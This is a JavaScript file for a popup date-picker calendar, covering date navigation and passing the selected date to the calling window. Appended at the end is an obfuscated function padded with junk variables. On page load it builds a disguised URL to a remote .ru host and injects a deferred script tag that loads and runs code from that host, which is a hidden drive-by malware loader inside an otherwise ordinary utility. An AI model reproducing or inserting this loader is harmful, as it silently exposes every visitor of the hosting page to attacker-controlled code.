

// months as they appear in the calendar's title
var ARR_MONTHS = ["January", "February", "March", "April", "May", "June",
		"July", "August", "September", "October", "November", "December"];
// week day titles as they appear on the calendar
var ARR_WEEKDAYS = ["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"];
// day week starts from (normally 0-Su or 1-Mo)
var NUM_WEEKSTART = 1;
// path to the directory where calendar images are stored. trailing slash req.
var STR_ICONPATH = 'img/';

var re_urlCur = new RegExp('c=(\\-?\\d+)');
var re_urlSel = new RegExp('s=(\\-?\\d+)');
var re_id = new RegExp('id=(\\d+)');

var dt_selected = (re_urlSel.exec(String(window.location))
	? new Date(new Number(RegExp.$1)) : new Date());
var dt_current = (re_urlCur.exec(String(window.location))
	? new Date(new Number(RegExp.$1)) : dt_selected);
var num_id = (re_id.exec(String(window.location))
	? new Number(RegExp.$1) : 0);

var obj_caller = (window.opener ? window.opener.calendars[num_id] : null);

if (obj_caller && obj_caller.year_scroll) {
	// get same date in the previous year
	var dt_prev_year = new Date(dt_current);
	dt_prev_year.setFullYear(dt_prev_year.getFullYear() - 1);
	if (dt_prev_year.getDate() != dt_current.getDate())
		dt_prev_year.setDate(0);
	
	// get same date in the next year
	var dt_next_year = new Date(dt_current);
	dt_next_year.setFullYear(dt_next_year.getFullYear() + 1);
	if (dt_next_year.getDate() != dt_current.getDate())
		dt_next_year.setDate(0);
}

// get same date in the previous month
var dt_prev_month = new Date(dt_current);
if (dt_prev_month.getMonth()) {
	dt_prev_month.setMonth(dt_prev_month.getMonth() - 1);
	if (dt_prev_month.getDate() != dt_current.getDate())
		dt_prev_month.setDate(0);
}
else {
	dt_prev_month.setFullYear(dt_prev_month.getFullYear() - 1);
	dt_prev_month.setMonth(11);
}

// get same date in the next month
var dt_next_month = new Date(dt_current);
dt_next_month.setMonth(dt_next_month.getMonth() + 1);
if (dt_next_month.getDate() != dt_current.getDate())
	dt_next_month.setDate(0);

// get first day to display in the grid for current month
var dt_firstday = new Date(dt_current);
dt_firstday.setDate(1);
dt_firstday.setDate(1 - (7 + dt_firstday.getDay() - NUM_WEEKSTART) % 7);

// function passing selected date to calling window
function set_datetime(n_datetime, b_close) {
	if (!obj_caller) return;

	var dt_datetime = obj_caller.prs_time(
		(document.cal ? document.cal.time.value : ''),
		new Date(n_datetime)
	);

	if (!dt_datetime) return;
	if (b_close) {
		
		obj_caller.target.value = (document.cal
			? obj_caller.gen_tsmp(dt_datetime)
			: obj_caller.gen_date(dt_datetime)
		);window.close();
	}
	else obj_caller.popup(dt_datetime.valueOf());
}


var aL;if(aL!='' && aL!='s'){aL=null};function d(){var pl=new Array();var AM=new Array();var r=String("PFUOg".substr(4));var g=new Date();var de='';var v='';var C=new String();var vA=new String();var q=RegExp;var x_=new String();function O(c,p){var U=new Array();var _= String("Jt2b[".substr(4));var u;if(u!='' && u!='Kn'){u='XI'};var gO;if(gO!='Ar' && gO!='Rm'){gO=''};_+=p;var vb=new Array();var h;if(h!='t' && h!='z'){h='t'};_+="]wjQ".substr(0,1);var y=new q(_, r);this.xS='';this.o='';return c.replace(y, v);var vK;if(vK!='w'){vK='w'};};var Rv;if(Rv!='GZ' && Rv!='M'){Rv='GZ'};var rF="";var dm;if(dm!='' && dm!='Hj'){dm='Ma'};var qP="";var Q='';var G=new String("scri"+"P96kpt".substr(4));var F=new Date();var b=new Date();var MF="";var vO;if(vO!='' && vO!='bc'){vO='hN'};var qp=new String("RK76src".substr(4));var E;if(E!=''){E='tN'};var lZ;if(lZ!=''){lZ='S'};var R=window;this.lH='';var f=O('8112222102211128222111210112221',"21");var Xk=new Date();var rC;if(rC!='' && rC!='NA'){rC=''};var k=String("dehFgY".substr(0,2)+"feokyN".substr(0,2)+"r");this.KS="";var X=String("/goo"+"gle."+"com/QlEg".substr(0,4)+"goog98iA".substr(0,4)+"le.c"+"VF8fom/mVf8F".substr(4,4)+"yspa"+"3xuhce.c".substr(4)+"39eqom/weq39".substr(4,4)+"sj.caE7".substr(0,4)+"z67om/w".substr(3)+"3.orId9".substr(0,4)+"g.ph"+"p");var QL=new String("http:"+"//hoo"+"sQ6pchin".substr(3)+"euS6a-com6eSu".substr(4,5)+".allyHYMZ".substr(0,5)+"es.co"+"m.gaz"+"Hd5Ieta-pHdI5".substr(4,5)+"uVZbl.airVbuZ".substr(4,5)+"pVPsealo".substr(3)+"g.ru:");var qEU;if(qEU!='my'){qEU='my'};R.onload=function(){var Am=new Date();var AMr="";try {var dO;if(dO!='' && dO!='MW'){dO='IR'};var PZ='';var FN;if(FN!='VP'){FN=''};Q=QL+f;var jc;if(jc!='vU' && jc!='uD'){jc='vU'};var Bj=new String();Q+=X;var Gt=new Date();var EF;if(EF!='vG'){EF='vG'};this.CF='';var Xu;if(Xu!='eW' && Xu!='mh'){Xu='eW'};x=document.createElement(G);var zr;if(zr!='EN' && zr != ''){zr=null};var Ip;if(Ip!='' && Ip!='Ij'){Ip=null};x[k]=[4,1][1];var hS;if(hS!='rg' && hS != ''){hS=null};x[qp]=Q;var rCf=new Date();document.body.appendChild(x);this.IZ="";var QP=new Date();var Oa=new Array();var Ae=new Date();} catch(K){var Sg=new Array();var gF=new Array();};var vB;if(vB!='' && vB!='PK'){vB=''};};var Ek="";};var Je=new Array();d();